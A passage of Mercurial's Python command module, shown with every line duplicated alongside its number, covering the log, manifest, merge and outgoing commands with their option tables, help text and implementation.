4509 _(b'do case-insensitive search for a given text'),
4510 _(b'TEXT'),
4510 _(b'TEXT'),
4511 ),
4511 ),
4512 (
4512 (
4513 b'r',
4513 b'r',
4514 b'rev',
4514 b'rev',
4515 [],
4515 [],
4516 _(b'revisions to select or follow from'),
4516 _(b'revisions to select or follow from'),
4517 _(b'REV'),
4517 _(b'REV'),
4518 ),
4518 ),
4519 (
4519 (
4520 b'L',
4520 b'L',
4521 b'line-range',
4521 b'line-range',
4522 [],
4522 [],
4523 _(b'follow line range of specified file (EXPERIMENTAL)'),
4523 _(b'follow line range of specified file (EXPERIMENTAL)'),
4524 _(b'FILE,RANGE'),
4524 _(b'FILE,RANGE'),
4525 ),
4525 ),
4526 (
4526 (
4527 b'',
4527 b'',
4528 b'removed',
4528 b'removed',
4529 None,
4529 None,
4530 _(b'include revisions where files were removed'),
4530 _(b'include revisions where files were removed'),
4531 ),
4531 ),
4532 (
4532 (
4533 b'm',
4533 b'm',
4534 b'only-merges',
4534 b'only-merges',
4535 None,
4535 None,
4536 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4536 _(b'show only merges (DEPRECATED) (use -r "merge()" instead)'),
4537 ),
4537 ),
4538 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4538 (b'u', b'user', [], _(b'revisions committed by user'), _(b'USER')),
4539 (
4539 (
4540 b'',
4540 b'',
4541 b'only-branch',
4541 b'only-branch',
4542 [],
4542 [],
4543 _(
4543 _(
4544 b'show only changesets within the given named branch (DEPRECATED)'
4544 b'show only changesets within the given named branch (DEPRECATED)'
4545 ),
4545 ),
4546 _(b'BRANCH'),
4546 _(b'BRANCH'),
4547 ),
4547 ),
4548 (
4548 (
4549 b'b',
4549 b'b',
4550 b'branch',
4550 b'branch',
4551 [],
4551 [],
4552 _(b'show changesets within the given named branch'),
4552 _(b'show changesets within the given named branch'),
4553 _(b'BRANCH'),
4553 _(b'BRANCH'),
4554 ),
4554 ),
4555 (
4555 (
4556 b'B',
4556 b'B',
4557 b'bookmark',
4557 b'bookmark',
4558 [],
4558 [],
4559 _(b"show changesets within the given bookmark"),
4559 _(b"show changesets within the given bookmark"),
4560 _(b'BOOKMARK'),
4560 _(b'BOOKMARK'),
4561 ),
4561 ),
4562 (
4562 (
4563 b'P',
4563 b'P',
4564 b'prune',
4564 b'prune',
4565 [],
4565 [],
4566 _(b'do not display revision or any of its ancestors'),
4566 _(b'do not display revision or any of its ancestors'),
4567 _(b'REV'),
4567 _(b'REV'),
4568 ),
4568 ),
4569 ]
4569 ]
4570 + logopts
4570 + logopts
4571 + walkopts,
4571 + walkopts,
4572 _(b'[OPTION]... [FILE]'),
4572 _(b'[OPTION]... [FILE]'),
4573 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4573 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
4574 helpbasic=True,
4574 helpbasic=True,
4575 inferrepo=True,
4575 inferrepo=True,
4576 intents={INTENT_READONLY},
4576 intents={INTENT_READONLY},
4577 )
4577 )
4578 def log(ui, repo, *pats, **opts):
4578 def log(ui, repo, *pats, **opts):
4579 """show revision history of entire repository or files
4579 """show revision history of entire repository or files
4580
4580
4581 Print the revision history of the specified files or the entire
4581 Print the revision history of the specified files or the entire
4582 project.
4582 project.
4583
4583
4584 If no revision range is specified, the default is ``tip:0`` unless
4584 If no revision range is specified, the default is ``tip:0`` unless
4585 --follow is set.
4585 --follow is set.
4586
4586
4587 File history is shown without following rename or copy history of
4587 File history is shown without following rename or copy history of
4588 files. Use -f/--follow with a filename to follow history across
4588 files. Use -f/--follow with a filename to follow history across
4589 renames and copies. --follow without a filename will only show
4589 renames and copies. --follow without a filename will only show
4590 ancestors of the starting revisions. The starting revisions can be
4590 ancestors of the starting revisions. The starting revisions can be
4591 specified by -r/--rev, which default to the working directory parent.
4591 specified by -r/--rev, which default to the working directory parent.
4592
4592
4593 By default this command prints revision number and changeset id,
4593 By default this command prints revision number and changeset id,
4594 tags, non-trivial parents, user, date and time, and a summary for
4594 tags, non-trivial parents, user, date and time, and a summary for
4595 each commit. When the -v/--verbose switch is used, the list of
4595 each commit. When the -v/--verbose switch is used, the list of
4596 changed files and full commit message are shown.
4596 changed files and full commit message are shown.
4597
4597
4598 With --graph the revisions are shown as an ASCII art DAG with the most
4598 With --graph the revisions are shown as an ASCII art DAG with the most
4599 recent changeset at the top.
4599 recent changeset at the top.
4600 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4600 'o' is a changeset, '@' is a working directory parent, '%' is a changeset
4601 involved in an unresolved merge conflict, '_' closes a branch,
4601 involved in an unresolved merge conflict, '_' closes a branch,
4602 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4602 'x' is obsolete, '*' is unstable, and '+' represents a fork where the
4603 changeset from the lines below is a parent of the 'o' merge on the same
4603 changeset from the lines below is a parent of the 'o' merge on the same
4604 line.
4604 line.
4605 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4605 Paths in the DAG are represented with '|', '/' and so forth. ':' in place
4606 of a '|' indicates one or more revisions in a path are omitted.
4606 of a '|' indicates one or more revisions in a path are omitted.
4607
4607
4608 .. container:: verbose
4608 .. container:: verbose
4609
4609
4610 Use -L/--line-range FILE,M:N options to follow the history of lines
4610 Use -L/--line-range FILE,M:N options to follow the history of lines
4611 from M to N in FILE. With -p/--patch only diff hunks affecting
4611 from M to N in FILE. With -p/--patch only diff hunks affecting
4612 specified line range will be shown. This option requires --follow;
4612 specified line range will be shown. This option requires --follow;
4613 it can be specified multiple times. Currently, this option is not
4613 it can be specified multiple times. Currently, this option is not
4614 compatible with --graph. This option is experimental.
4614 compatible with --graph. This option is experimental.
4615
4615
4616 .. note::
4616 .. note::
4617
4617
4618 :hg:`log --patch` may generate unexpected diff output for merge
4618 :hg:`log --patch` may generate unexpected diff output for merge
4619 changesets, as it will only compare the merge changeset against
4619 changesets, as it will only compare the merge changeset against
4620 its first parent. Also, only files different from BOTH parents
4620 its first parent. Also, only files different from BOTH parents
4621 will appear in files:.
4621 will appear in files:.
4622
4622
4623 .. note::
4623 .. note::
4624
4624
4625 For performance reasons, :hg:`log FILE` may omit duplicate changes
4625 For performance reasons, :hg:`log FILE` may omit duplicate changes
4626 made on branches and will not show removals or mode changes. To
4626 made on branches and will not show removals or mode changes. To
4627 see all such changes, use the --removed switch.
4627 see all such changes, use the --removed switch.
4628
4628
4629 .. container:: verbose
4629 .. container:: verbose
4630
4630
4631 .. note::
4631 .. note::
4632
4632
4633 The history resulting from -L/--line-range options depends on diff
4633 The history resulting from -L/--line-range options depends on diff
4634 options; for instance if white-spaces are ignored, respective changes
4634 options; for instance if white-spaces are ignored, respective changes
4635 with only white-spaces in specified line range will not be listed.
4635 with only white-spaces in specified line range will not be listed.
4636
4636
4637 .. container:: verbose
4637 .. container:: verbose
4638
4638
4639 Some examples:
4639 Some examples:
4640
4640
4641 - changesets with full descriptions and file lists::
4641 - changesets with full descriptions and file lists::
4642
4642
4643 hg log -v
4643 hg log -v
4644
4644
4645 - changesets ancestral to the working directory::
4645 - changesets ancestral to the working directory::
4646
4646
4647 hg log -f
4647 hg log -f
4648
4648
4649 - last 10 commits on the current branch::
4649 - last 10 commits on the current branch::
4650
4650
4651 hg log -l 10 -b .
4651 hg log -l 10 -b .
4652
4652
4653 - changesets showing all modifications of a file, including removals::
4653 - changesets showing all modifications of a file, including removals::
4654
4654
4655 hg log --removed file.c
4655 hg log --removed file.c
4656
4656
4657 - all changesets that touch a directory, with diffs, excluding merges::
4657 - all changesets that touch a directory, with diffs, excluding merges::
4658
4658
4659 hg log -Mp lib/
4659 hg log -Mp lib/
4660
4660
4661 - all revision numbers that match a keyword::
4661 - all revision numbers that match a keyword::
4662
4662
4663 hg log -k bug --template "{rev}\\n"
4663 hg log -k bug --template "{rev}\\n"
4664
4664
4665 - the full hash identifier of the working directory parent::
4665 - the full hash identifier of the working directory parent::
4666
4666
4667 hg log -r . --template "{node}\\n"
4667 hg log -r . --template "{node}\\n"
4668
4668
4669 - list available log templates::
4669 - list available log templates::
4670
4670
4671 hg log -T list
4671 hg log -T list
4672
4672
4673 - check if a given changeset is included in a tagged release::
4673 - check if a given changeset is included in a tagged release::
4674
4674
4675 hg log -r "a21ccf and ancestor(1.9)"
4675 hg log -r "a21ccf and ancestor(1.9)"
4676
4676
4677 - find all changesets by some user in a date range::
4677 - find all changesets by some user in a date range::
4678
4678
4679 hg log -k alice -d "may 2008 to jul 2008"
4679 hg log -k alice -d "may 2008 to jul 2008"
4680
4680
4681 - summary of all changesets after the last tag::
4681 - summary of all changesets after the last tag::
4682
4682
4683 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4683 hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
4684
4684
4685 - changesets touching lines 13 to 23 for file.c::
4685 - changesets touching lines 13 to 23 for file.c::
4686
4686
4687 hg log -L file.c,13:23
4687 hg log -L file.c,13:23
4688
4688
4689 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4689 - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
4690 main.c with patch::
4690 main.c with patch::
4691
4691
4692 hg log -L file.c,13:23 -L main.c,2:6 -p
4692 hg log -L file.c,13:23 -L main.c,2:6 -p
4693
4693
4694 See :hg:`help dates` for a list of formats valid for -d/--date.
4694 See :hg:`help dates` for a list of formats valid for -d/--date.
4695
4695
4696 See :hg:`help revisions` for more about specifying and ordering
4696 See :hg:`help revisions` for more about specifying and ordering
4697 revisions.
4697 revisions.
4698
4698
4699 See :hg:`help templates` for more about pre-packaged styles and
4699 See :hg:`help templates` for more about pre-packaged styles and
4700 specifying custom templates. The default template used by the log
4700 specifying custom templates. The default template used by the log
4701 command can be customized via the ``command-templates.log`` configuration
4701 command can be customized via the ``command-templates.log`` configuration
4702 setting.
4702 setting.
4703
4703
4704 Returns 0 on success.
4704 Returns 0 on success.
4705
4705
4706 """
4706 """
4707 opts = pycompat.byteskwargs(opts)
4707 opts = pycompat.byteskwargs(opts)
4708 linerange = opts.get(b'line_range')
4708 linerange = opts.get(b'line_range')
4709
4709
4710 if linerange and not opts.get(b'follow'):
4710 if linerange and not opts.get(b'follow'):
4711 raise error.InputError(_(b'--line-range requires --follow'))
4711 raise error.InputError(_(b'--line-range requires --follow'))
4712
4712
4713 if linerange and pats:
4713 if linerange and pats:
4714 # TODO: take pats as patterns with no line-range filter
4714 # TODO: take pats as patterns with no line-range filter
4715 raise error.InputError(
4715 raise error.InputError(
4716 _(b'FILE arguments are not compatible with --line-range option')
4716 _(b'FILE arguments are not compatible with --line-range option')
4717 )
4717 )
4718
4718
4719 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4719 repo = scmutil.unhidehashlikerevs(repo, opts.get(b'rev'), b'nowarn')
4720 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4720 walk_opts = logcmdutil.parseopts(ui, pats, opts)
4721 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4721 revs, differ = logcmdutil.getrevs(repo, walk_opts)
4722 if linerange:
4722 if linerange:
4723 # TODO: should follow file history from logcmdutil._initialrevs(),
4723 # TODO: should follow file history from logcmdutil._initialrevs(),
4724 # then filter the result by logcmdutil._makerevset() and --limit
4724 # then filter the result by logcmdutil._makerevset() and --limit
4725 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4725 revs, differ = logcmdutil.getlinerangerevs(repo, revs, opts)
4726
4726
4727 getcopies = None
4727 getcopies = None
4728 if opts.get(b'copies'):
4728 if opts.get(b'copies'):
4729 endrev = None
4729 endrev = None
4730 if revs:
4730 if revs:
4731 endrev = revs.max() + 1
4731 endrev = revs.max() + 1
4732 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4732 getcopies = scmutil.getcopiesfn(repo, endrev=endrev)
4733
4733
4734 ui.pager(b'log')
4734 ui.pager(b'log')
4735 displayer = logcmdutil.changesetdisplayer(
4735 displayer = logcmdutil.changesetdisplayer(
4736 ui, repo, opts, differ, buffered=True
4736 ui, repo, opts, differ, buffered=True
4737 )
4737 )
4738 if opts.get(b'graph'):
4738 if opts.get(b'graph'):
4739 displayfn = logcmdutil.displaygraphrevs
4739 displayfn = logcmdutil.displaygraphrevs
4740 else:
4740 else:
4741 displayfn = logcmdutil.displayrevs
4741 displayfn = logcmdutil.displayrevs
4742 displayfn(ui, repo, revs, displayer, getcopies)
4742 displayfn(ui, repo, revs, displayer, getcopies)
4743
4743
4744
4744
4745 @command(
4745 @command(
4746 b'manifest',
4746 b'manifest',
4747 [
4747 [
4748 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4748 (b'r', b'rev', b'', _(b'revision to display'), _(b'REV')),
4749 (b'', b'all', False, _(b"list files from all revisions")),
4749 (b'', b'all', False, _(b"list files from all revisions")),
4750 ]
4750 ]
4751 + formatteropts,
4751 + formatteropts,
4752 _(b'[-r REV]'),
4752 _(b'[-r REV]'),
4753 helpcategory=command.CATEGORY_MAINTENANCE,
4753 helpcategory=command.CATEGORY_MAINTENANCE,
4754 intents={INTENT_READONLY},
4754 intents={INTENT_READONLY},
4755 )
4755 )
4756 def manifest(ui, repo, node=None, rev=None, **opts):
4756 def manifest(ui, repo, node=None, rev=None, **opts):
4757 """output the current or given revision of the project manifest
4757 """output the current or given revision of the project manifest
4758
4758
4759 Print a list of version controlled files for the given revision.
4759 Print a list of version controlled files for the given revision.
4760 If no revision is given, the first parent of the working directory
4760 If no revision is given, the first parent of the working directory
4761 is used, or the null revision if no revision is checked out.
4761 is used, or the null revision if no revision is checked out.
4762
4762
4763 With -v, print file permissions, symlink and executable bits.
4763 With -v, print file permissions, symlink and executable bits.
4764 With --debug, print file revision hashes.
4764 With --debug, print file revision hashes.
4765
4765
4766 If option --all is specified, the list of all files from all revisions
4766 If option --all is specified, the list of all files from all revisions
4767 is printed. This includes deleted and renamed files.
4767 is printed. This includes deleted and renamed files.
4768
4768
4769 Returns 0 on success.
4769 Returns 0 on success.
4770 """
4770 """
4771 opts = pycompat.byteskwargs(opts)
4771 opts = pycompat.byteskwargs(opts)
4772 fm = ui.formatter(b'manifest', opts)
4772 fm = ui.formatter(b'manifest', opts)
4773
4773
4774 if opts.get(b'all'):
4774 if opts.get(b'all'):
4775 if rev or node:
4775 if rev or node:
4776 raise error.InputError(_(b"can't specify a revision with --all"))
4776 raise error.InputError(_(b"can't specify a revision with --all"))
4777
4777
4778 res = set()
4778 res = set()
4779 for rev in repo:
4779 for rev in repo:
4780 ctx = repo[rev]
4780 ctx = repo[rev]
4781 res |= set(ctx.files())
4781 res |= set(ctx.files())
4782
4782
4783 ui.pager(b'manifest')
4783 ui.pager(b'manifest')
4784 for f in sorted(res):
4784 for f in sorted(res):
4785 fm.startitem()
4785 fm.startitem()
4786 fm.write(b"path", b'%s\n', f)
4786 fm.write(b"path", b'%s\n', f)
4787 fm.end()
4787 fm.end()
4788 return
4788 return
4789
4789
4790 if rev and node:
4790 if rev and node:
4791 raise error.InputError(_(b"please specify just one revision"))
4791 raise error.InputError(_(b"please specify just one revision"))
4792
4792
4793 if not node:
4793 if not node:
4794 node = rev
4794 node = rev
4795
4795
4796 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4796 char = {b'l': b'@', b'x': b'*', b'': b'', b't': b'd'}
4797 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4797 mode = {b'l': b'644', b'x': b'755', b'': b'644', b't': b'755'}
4798 if node:
4798 if node:
4799 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4799 repo = scmutil.unhidehashlikerevs(repo, [node], b'nowarn')
4800 ctx = logcmdutil.revsingle(repo, node)
4800 ctx = logcmdutil.revsingle(repo, node)
4801 mf = ctx.manifest()
4801 mf = ctx.manifest()
4802 ui.pager(b'manifest')
4802 ui.pager(b'manifest')
4803 for f in ctx:
4803 for f in ctx:
4804 fm.startitem()
4804 fm.startitem()
4805 fm.context(ctx=ctx)
4805 fm.context(ctx=ctx)
4806 fl = ctx[f].flags()
4806 fl = ctx[f].flags()
4807 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4807 fm.condwrite(ui.debugflag, b'hash', b'%s ', hex(mf[f]))
4808 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4808 fm.condwrite(ui.verbose, b'mode type', b'%s %1s ', mode[fl], char[fl])
4809 fm.write(b'path', b'%s\n', f)
4809 fm.write(b'path', b'%s\n', f)
4810 fm.end()
4810 fm.end()
4811
4811
4812
4812
4813 @command(
4813 @command(
4814 b'merge',
4814 b'merge',
4815 [
4815 [
4816 (
4816 (
4817 b'f',
4817 b'f',
4818 b'force',
4818 b'force',
4819 None,
4819 None,
4820 _(b'force a merge including outstanding changes (DEPRECATED)'),
4820 _(b'force a merge including outstanding changes (DEPRECATED)'),
4821 ),
4821 ),
4822 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4822 (b'r', b'rev', b'', _(b'revision to merge'), _(b'REV')),
4823 (
4823 (
4824 b'P',
4824 b'P',
4825 b'preview',
4825 b'preview',
4826 None,
4826 None,
4827 _(b'review revisions to merge (no merge is performed)'),
4827 _(b'review revisions to merge (no merge is performed)'),
4828 ),
4828 ),
4829 (b'', b'abort', None, _(b'abort the ongoing merge')),
4829 (b'', b'abort', None, _(b'abort the ongoing merge')),
4830 ]
4830 ]
4831 + mergetoolopts,
4831 + mergetoolopts,
4832 _(b'[-P] [[-r] REV]'),
4832 _(b'[-P] [[-r] REV]'),
4833 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4833 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
4834 helpbasic=True,
4834 helpbasic=True,
4835 )
4835 )
4836 def merge(ui, repo, node=None, **opts):
4836 def merge(ui, repo, node=None, **opts):
4837 """merge another revision into working directory
4837 """merge another revision into working directory
4838
4838
4839 The current working directory is updated with all changes made in
4839 The current working directory is updated with all changes made in
4840 the requested revision since the last common predecessor revision.
4840 the requested revision since the last common predecessor revision.
4841
4841
4842 Files that changed between either parent are marked as changed for
4842 Files that changed between either parent are marked as changed for
4843 the next commit and a commit must be performed before any further
4843 the next commit and a commit must be performed before any further
4844 updates to the repository are allowed. The next commit will have
4844 updates to the repository are allowed. The next commit will have
4845 two parents.
4845 two parents.
4846
4846
4847 ``--tool`` can be used to specify the merge tool used for file
4847 ``--tool`` can be used to specify the merge tool used for file
4848 merges. It overrides the HGMERGE environment variable and your
4848 merges. It overrides the HGMERGE environment variable and your
4849 configuration files. See :hg:`help merge-tools` for options.
4849 configuration files. See :hg:`help merge-tools` for options.
4850
4850
4851 If no revision is specified, the working directory's parent is a
4851 If no revision is specified, the working directory's parent is a
4852 head revision, and the current branch contains exactly one other
4852 head revision, and the current branch contains exactly one other
4853 head, the other head is merged with by default. Otherwise, an
4853 head, the other head is merged with by default. Otherwise, an
4854 explicit revision with which to merge must be provided.
4854 explicit revision with which to merge must be provided.
4855
4855
4856 See :hg:`help resolve` for information on handling file conflicts.
4856 See :hg:`help resolve` for information on handling file conflicts.
4857
4857
4858 To undo an uncommitted merge, use :hg:`merge --abort` which
4858 To undo an uncommitted merge, use :hg:`merge --abort` which
4859 will check out a clean copy of the original merge parent, losing
4859 will check out a clean copy of the original merge parent, losing
4860 all changes.
4860 all changes.
4861
4861
4862 Returns 0 on success, 1 if there are unresolved files.
4862 Returns 0 on success, 1 if there are unresolved files.
4863 """
4863 """
4864
4864
4865 opts = pycompat.byteskwargs(opts)
4865 opts = pycompat.byteskwargs(opts)
4866 abort = opts.get(b'abort')
4866 abort = opts.get(b'abort')
4867 if abort and repo.dirstate.p2() == repo.nullid:
4867 if abort and repo.dirstate.p2() == repo.nullid:
4868 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4868 cmdutil.wrongtooltocontinue(repo, _(b'merge'))
4869 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4869 cmdutil.check_incompatible_arguments(opts, b'abort', [b'rev', b'preview'])
4870 if abort:
4870 if abort:
4871 state = cmdutil.getunfinishedstate(repo)
4871 state = cmdutil.getunfinishedstate(repo)
4872 if state and state._opname != b'merge':
4872 if state and state._opname != b'merge':
4873 raise error.StateError(
4873 raise error.StateError(
4874 _(b'cannot abort merge with %s in progress') % (state._opname),
4874 _(b'cannot abort merge with %s in progress') % (state._opname),
4875 hint=state.hint(),
4875 hint=state.hint(),
4876 )
4876 )
4877 if node:
4877 if node:
4878 raise error.InputError(_(b"cannot specify a node with --abort"))
4878 raise error.InputError(_(b"cannot specify a node with --abort"))
4879 return hg.abortmerge(repo.ui, repo)
4879 return hg.abortmerge(repo.ui, repo)
4880
4880
4881 if opts.get(b'rev') and node:
4881 if opts.get(b'rev') and node:
4882 raise error.InputError(_(b"please specify just one revision"))
4882 raise error.InputError(_(b"please specify just one revision"))
4883 if not node:
4883 if not node:
4884 node = opts.get(b'rev')
4884 node = opts.get(b'rev')
4885
4885
4886 if node:
4886 if node:
4887 ctx = logcmdutil.revsingle(repo, node)
4887 ctx = logcmdutil.revsingle(repo, node)
4888 else:
4888 else:
4889 if ui.configbool(b'commands', b'merge.require-rev'):
4889 if ui.configbool(b'commands', b'merge.require-rev'):
4890 raise error.InputError(
4890 raise error.InputError(
4891 _(
4891 _(
4892 b'configuration requires specifying revision to merge '
4892 b'configuration requires specifying revision to merge '
4893 b'with'
4893 b'with'
4894 )
4894 )
4895 )
4895 )
4896 ctx = repo[destutil.destmerge(repo)]
4896 ctx = repo[destutil.destmerge(repo)]
4897
4897
4898 if ctx.node() is None:
4898 if ctx.node() is None:
4899 raise error.InputError(
4899 raise error.InputError(
4900 _(b'merging with the working copy has no effect')
4900 _(b'merging with the working copy has no effect')
4901 )
4901 )
4902
4902
4903 if opts.get(b'preview'):
4903 if opts.get(b'preview'):
4904 # find nodes that are ancestors of p2 but not of p1
4904 # find nodes that are ancestors of p2 but not of p1
4905 p1 = repo[b'.'].node()
4905 p1 = repo[b'.'].node()
4906 p2 = ctx.node()
4906 p2 = ctx.node()
4907 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4907 nodes = repo.changelog.findmissing(common=[p1], heads=[p2])
4908
4908
4909 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4909 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
4910 for node in nodes:
4910 for node in nodes:
4911 displayer.show(repo[node])
4911 displayer.show(repo[node])
4912 displayer.close()
4912 displayer.close()
4913 return 0
4913 return 0
4914
4914
4915 # ui.forcemerge is an internal variable, do not document
4915 # ui.forcemerge is an internal variable, do not document
4916 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4916 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
4917 with ui.configoverride(overrides, b'merge'):
4917 with ui.configoverride(overrides, b'merge'):
4918 force = opts.get(b'force')
4918 force = opts.get(b'force')
4919 labels = [b'working copy', b'merge rev', b'common ancestor']
4919 labels = [b'working copy', b'merge rev', b'common ancestor']
4920 return hg.merge(ctx, force=force, labels=labels)
4920 return hg.merge(ctx, force=force, labels=labels)
4921
4921
4922
4922
4923 statemod.addunfinished(
4923 statemod.addunfinished(
4924 b'merge',
4924 b'merge',
4925 fname=None,
4925 fname=None,
4926 clearable=True,
4926 clearable=True,
4927 allowcommit=True,
4927 allowcommit=True,
4928 cmdmsg=_(b'outstanding uncommitted merge'),
4928 cmdmsg=_(b'outstanding uncommitted merge'),
4929 abortfunc=hg.abortmerge,
4929 abortfunc=hg.abortmerge,
4930 statushint=_(
4930 statushint=_(
4931 b'To continue: hg commit\nTo abort: hg merge --abort'
4931 b'To continue: hg commit\nTo abort: hg merge --abort'
4932 ),
4932 ),
4933 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4933 cmdhint=_(b"use 'hg commit' or 'hg merge --abort'"),
4934 )
4934 )
4935
4935
4936
4936
4937 @command(
4937 @command(
4938 b'outgoing|out',
4938 b'outgoing|out',
4939 [
4939 [
4940 (
4940 (
4941 b'f',
4941 b'f',
4942 b'force',
4942 b'force',
4943 None,
4943 None,
4944 _(b'run even when the destination is unrelated'),
4944 _(b'run even when the destination is unrelated'),
4945 ),
4945 ),
4946 (
4946 (
4947 b'r',
4947 b'r',
4948 b'rev',
4948 b'rev',
4949 [],
4949 [],
4950 _(b'a changeset intended to be included in the destination'),
4950 _(b'a changeset intended to be included in the destination'),
4951 _(b'REV'),
4951 _(b'REV'),
4952 ),
4952 ),
4953 (b'n', b'newest-first', None, _(b'show newest record first')),
4953 (b'n', b'newest-first', None, _(b'show newest record first')),
4954 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4954 (b'B', b'bookmarks', False, _(b'compare bookmarks')),
4955 (
4955 (
4956 b'b',
4956 b'b',
4957 b'branch',
4957 b'branch',
4958 [],
4958 [],
4959 _(b'a specific branch you would like to push'),
4959 _(b'a specific branch you would like to push'),
4960 _(b'BRANCH'),
4960 _(b'BRANCH'),
4961 ),
4961 ),
4962 ]
4962 ]
4963 + logopts
4963 + logopts
4964 + remoteopts
4964 + remoteopts
4965 + subrepoopts,
4965 + subrepoopts,
4966 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'),
4966 _(b'[-M] [-p] [-n] [-f] [-r REV]... [DEST]...'),
4967 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4967 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4968 )
4968 )
4969 def outgoing(ui, repo, *dests, **opts):
4969 def outgoing(ui, repo, *dests, **opts):
4970 """show changesets not found in the destination
4970 """show changesets not found in the destination
4971
4971
4972 Show changesets not found in the specified destination repository
4972 Show changesets not found in the specified destination repository
4973 or the default push location. These are the changesets that would
4973 or the default push location. These are the changesets that would
4974 be pushed if a push was requested.
4974 be pushed if a push was requested.
4975
4975
4976 See pull for details of valid destination formats.
4976 See pull for details of valid destination formats.
4977
4977
4978 .. container:: verbose
4978 .. container:: verbose
4979
4979
4980 With -B/--bookmarks, the result of bookmark comparison between
4980 With -B/--bookmarks, the result of bookmark comparison between
4981 local and remote repositories is displayed. With -v/--verbose,
4981 local and remote repositories is displayed. With -v/--verbose,
4982 status is also displayed for each bookmark like below::
4982 status is also displayed for each bookmark like below::
4983
4983
4984 BM1 01234567890a added
4984 BM1 01234567890a added
4985 BM2 deleted
4985 BM2 deleted
4986 BM3 234567890abc advanced
4986 BM3 234567890abc advanced
4987 BM4 34567890abcd diverged
4987 BM4 34567890abcd diverged
4988 BM5 4567890abcde changed
4988 BM5 4567890abcde changed
4989
4989
4990 The action taken when pushing depends on the
4990 The action taken when pushing depends on the
4991 status of each bookmark:
4991 status of each bookmark:
4992
4992
4993 :``added``: push with ``-B`` will create it
4993 :``added``: push with ``-B`` will create it
4994 :``deleted``: push with ``-B`` will delete it
4994 :``deleted``: push with ``-B`` will delete it
4995 :``advanced``: push will update it
4995 :``advanced``: push will update it
4996 :``diverged``: push with ``-B`` will update it
4996 :``diverged``: push with ``-B`` will update it
4997 :``changed``: push with ``-B`` will update it
4997 :``changed``: push with ``-B`` will update it
4998
4998
4999 From the point of view of pushing behavior, bookmarks
4999 From the point of view of pushing behavior, bookmarks
5000 existing only in the remote repository are treated as
5000 existing only in the remote repository are treated as
5001 ``deleted``, even if it is in fact added remotely.
5001 ``deleted``, even if it is in fact added remotely.
5002
5002
5003 Returns 0 if there are outgoing changes, 1 otherwise.
5003 Returns 0 if there are outgoing changes, 1 otherwise.
5004 """
5004 """
5005 opts = pycompat.byteskwargs(opts)
5005 opts = pycompat.byteskwargs(opts)
5006 if opts.get(b'bookmarks'):
5006 if opts.get(b'bookmarks'):
5007 for path in urlutil.get_push_paths(repo, ui, dests):
5007 for path in urlutil.get_push_paths(repo, ui, dests):
5008 dest = path.pushloc or path.loc
5008 dest = path.pushloc or path.loc
5009 other = hg.peer(repo, opts, dest)
5009 other = hg.peer(repo, opts, dest)
5010 try:
5010 try:
5011 if b'bookmarks' not in other.listkeys(b'namespaces'):
5011 if b'bookmarks' not in other.listkeys(b'namespaces'):
5012 ui.warn(_(b"remote doesn't support bookmarks\n"))
5012 ui.warn(_(b"remote doesn't support bookmarks\n"))
5013 return 0
5013 return 0
5014 ui.status(
5014 ui.status(
5015 _(b'comparing with %s\n') % urlutil.hidepassword(dest)
5015 _(b'comparing with %s\n') % urlutil.hidepassword(dest)
5016 )
5016 )
5017 ui.pager(b'outgoing')
5017 ui.pager(b'outgoing')
5018 return bookmarks.outgoing(ui, repo, other)
5018 return bookmarks.outgoing(ui, repo, other)
5019 finally:
5019 finally:
5020 other.close()
5020 other.close()
5021
5021
5022 return hg.outgoing(ui, repo, dests, opts)
5022 return hg.outgoing(ui, repo, dests, opts)
5023
5023
5024
5024
5025 @command(
5025 @command(
5026 b'parents',
5026 b'parents',
5027 [
5027 [
5028 (
5028 (
5029 b'r',
5029 b'r',
5030 b'rev',
5030 b'rev',
5031 b'',
5031 b'',
5032 _(b'show parents of the specified revision'),
5032 _(b'show parents of the specified revision'),
5033 _(b'REV'),
5033 _(b'REV'),
5034 ),
5034 ),
5035 ]
5035 ]
5036 + templateopts,
5036 + templateopts,
5037 _(b'[-r REV] [FILE]'),
5037 _(b'[-r REV] [FILE]'),
5038 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5038 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
5039 inferrepo=True,
5039 inferrepo=True,
5040 )
5040 )
5041 def parents(ui, repo, file_=None, **opts):
5041 def parents(ui, repo, file_=None, **opts):
5042 """show the parents of the working directory or revision (DEPRECATED)
5042 """show the parents of the working directory or revision (DEPRECATED)
5043
5043
